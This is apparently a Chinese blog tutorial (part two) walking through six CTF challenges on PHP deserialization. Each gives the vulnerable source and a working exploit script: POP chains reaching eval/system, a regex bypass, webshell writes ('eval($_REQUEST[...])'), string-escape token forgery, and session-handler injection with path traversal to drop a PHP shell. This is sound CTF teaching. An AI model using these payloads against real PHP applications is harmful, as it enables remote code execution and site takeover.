CTF-php反序列化 (下)

11.ctf一些例题

第一题:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
​
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

触发vipOneKeyGetFlag()函数,但在此之前要使isVip的值为true,可是这道题没有对isVip进行赋值的操作,所以我们要审计代码找到关键点对其赋值.

$user = unserialize($_COOKIE['user']); 

找到关键值user,可以写入cookie中user的值,进行反序列化操作,使其赋值为true

编写脚本进行序列化操作

<?php
class web255{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip;
    public function __construct(){
        $this->isVip='true';
    }
}
$a=new web255();
echo urlencode(serialize($a))
?>

第二题:对象注入

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{  
    private $username='xxxxxx';  
    private $password='xxxxxx';  
    private $isVip=false;  
    private $class = 'info';  
    public function __construct(){    
        $this->class=new info();  
    }  
    public function login($u,$p){    
        return $this->username===$u&&$this->password===$p;  
    }  
    public function __destruct(){    
        $this->class->getInfo();  
    }
}
class info{  
    private $user='xxxxxx';  
    public function getInfo(){    
        return $this->user;  
    }
}
class backDoor{  
    private $code;  
    public function getInfo(){    
        eval($this->code);  
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){  
    $user = unserialize($_COOKIE['user']);  
    $user->login($username,$password);
}

这里与第一题出现变化的地方有一点

如果我们想得到flag,就需要利用backdoor这个类的getInfo函数,code这个私有属性储存着我们要执行的命令

class backDoor{  
    private $code;  
    public function getInfo(){    
        eval($this->code);  
    }

触发getInfo的方法在ctfShowUser这个类中

 public function __construct(){    
        $this->class=new info();  
    }  
​
 public function __destruct(){    
        $this->class->getInfo();  
    }

所以我们可以利用他的destruct函数来触发在创建对象时类的getInfo()函数,通过ctfShowUser的 construct魔术方法来创建backdoor对象构造出pop链

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

但是面临一个问题,就是backdoorcode属性是私有变量,应该如何解决

这里其实可以不管他,因为我们最后的输出是进行url编码的,最后privite生成的不可见字符\0也会被编码成%00,也可以直接将private变为public,利用php语言不敏感的特性来进行反序列化,脚本如下:

<?php
class web257{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'backdoor';
    public function __construct(){
        $this->class=new backdoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a=new web257();
echo urlencode(serialize($a))
?>

第三题:加入了正则定理

<?php
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ 
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这里多了个过滤

preg_match('/[oc]:\d+:/i', $_COOKIE['user']

正则过滤[oc]是匹配o字符或者c字符,\d匹配一个数字字符,等价于[0-9],+号是匹配前面的\d一次或者多次。下面只需要将O:11变成O:+11就可以绕过

还是上一题的pop链

backdoor::getinfo<--ctfShowUser::__destruct<--ctfShowUser::__construct

<?php
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'backDoor';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
​
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b)
?>

第四题: 反序列化+一句话木马

highlight_file(__FILE__);
​
class ctfshowvip{
    public $username;
    public $password;
    public $code;
​
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
​
}
​
unserialize($_GET['vip']); 

如果类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,wakeup() 方法会被忽略。

所以在进行反序列化的时候不用去管__wakeup,这里的coke==0x36d,是弱比较,36d是十六进制,转换为十进制就是877,

这里code是在__unserialize函数触发的时候被username和password拼接起来的

$this->code = $this->username.$this->password;

所以只要username=877.php,password=shell就可以了

因为是弱比较,所以877.php=877是成立的

这里sleep()也不用管,sleep是在进行序列化的时候触发,所以构造exp的时候删掉就行了,unserialize触发方式和wakeup()一样,在反序列化开始的时候会触发,__invoke是当对象被当做函数时执行此方法

<?php
class web261
{
    public $username;
    public $password;
    public function __construct()
    {
        $this->username = '877.php';
        $this->password = '<?php eval($_REQUEST[yuanshen]);?>';
    }
}
$a = new web261();
echo urlencode(serialize($a));
?>

第五题: 反序列化字符串逃逸

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
​
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
​
highlight_file(__FILE__);
​

注释里面提示打开message.php

<?php
highlight_file(__FILE__);
include('flag.php');
​
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
​
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

传入cookie值msg.

<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3';
    public $token='admin';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

但是,在construct中是没有token的初始化的,而又不存在对象注入,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的,但是我们想要的效果是:

将s:5:"token";s:5:"admin";}插入到
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}中
    
<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符
    public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
这样就欺骗的天衣无缝了

通过这样的方式来实现欺骗,但是插入的部分

但是整条语句是存在逻辑问题的:

在s:28:"3";这个地方,正常逻辑是3只有一个字符,但是却被标注为28个,那么在反序列化的时候,就会出现报错,但是此题在反序列化之前会对msg的参数进行替换操作,会将4个字符的fuck替换5个关字符的loveu,这样的话本来缺少的27个字符,就会被经过增加替换而多出来的27个字符顶替,正好满足136=109(love)+27(u),而后面的27个字符也就顺理成章的替换了后面的token

<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';//此处有27个fuck=109+27=136
    public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

payload:?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php就可以得到flag

第六题 session反序列化

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);
​
// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}
​
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
?>

$this->username,$this->password均为我们可控,所以存在漏洞

index.php:

<?php
    error_reporting(0);
    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));// 
         $_SESSION['limit']= 1;
    }
?>

这也就是一开始的登陆页面

check.php:针对cookie中的limit进行次数检测

<?php
​
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
​
if($GET){
$data= $db->get('admin',
[   'id',
    'UserName0'
],[
    "AND"=>[
    "UserName0[=]"=>$GET['u'],
    "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
    ]
]);
if($data['id']){
    //登陆成功取消次数累计
    $_SESSION['limit']= 0;
    echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
    //登陆失败累计次数加1
    $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
    echo json_encode(array("error","msg"=>"登陆失败"));
}

session.serialize_handler( 5.5.4前默认是php;5.5.4后改为php_serialize)存在以下几种:

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

因为此php版本为7.3.11,并且设置为php处理器而不是php_serialize处理器,所以存在session反序列漏洞

在 php_serialize 引擎下,session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";} 1 php 引擎下文件内容为:

name|s:6:"spoock"; 1 暂时用到的是这两个

exp:

<?php
class User{
    public $username="admin/../../../../../../../../../../var/www/html/1.php";
    public $password="<?php system('cat flag.php');?>";
    public $status;
​
}
$a = new User();
$c =  "|".serialize($a);
echo urlencode(base64_encode($c));

解题步骤: 1.首先访问首页,获得 cookie,同时建立 session 2.通过cookie manager将cookie中的limit修改为序列化字符串 3.访问 check.php,反序列化实现 shell 写入 4.访问1.php审查元素查看flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值